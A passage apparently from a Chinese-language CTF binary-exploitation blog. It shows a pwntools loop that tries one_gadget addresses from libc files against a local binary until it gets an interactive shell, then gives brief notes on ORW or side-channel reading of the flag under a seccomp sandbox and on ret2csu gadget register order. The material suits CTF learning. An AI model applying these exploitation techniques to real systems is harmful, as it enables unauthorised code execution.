libcFile = libcAll_path + libcFile
one_gadget_list = myTool.getOnegadget(libcFile)
for one_gadget in one_gadget_list:
try:
p = process(fpath)
log.success('libcFile: %s',libcFile)
#print(one_gadget)
pwn(libcFile,one_gadget)
#pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

④开了沙箱,只有read和libc文件

这种就得用orw来读取flag了或者使用测信道攻击,之后再来详细完成一下把。

栈溢出(64bit)的一些操作<二> (zoepla.github.io)

🔺有时候万能gadget可能不太一样

image-20211214220500845

rdi和rdx的赋值顺序可能发生变化,需要注意